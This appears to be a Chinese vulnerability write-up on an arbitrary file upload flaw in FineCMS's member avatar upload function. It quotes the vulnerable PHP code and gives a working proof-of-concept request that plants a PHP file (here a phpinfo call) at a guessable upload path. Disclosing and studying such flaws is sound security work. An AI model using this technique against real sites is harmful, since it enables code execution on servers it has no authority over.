漏洞在文件C:\phpStudy\WWW\finecms\dayrui\controllers\member\Account.php中的upload函数
```
public function upload() {
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}
// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
exit('1');
}
}
```
其中这几行有问题
```
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
}
```
可以看到获取tx变量,替换空格并赋值给$file变量,然后用preg_match函数匹配一下,得到$result变量,$result[2]可以控制为‘php’,所以$new_file就是一个php文件了,再往该文件写内容,写的内容为$result[1],也是可控的。直接上payload吧
注册会员,登录
访问:http://localhost:88/index.php?s=member&c=account&m=upload
POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
![](https://images.seebug.org/contribute/4c0d62eb-ffcf-4c08-bfcc-d23c06ac3a23-w331s)
上传到的位置为C:\phpStudy\WWW\uploadfile\member\3\0x0.php
其中3为用户的user id,都是小数字,直接猜就行了
![](https://images.seebug.org/contribute/a9bfafad-b76f-4996-832e-b037b1c8b693-w331s)
暂无评论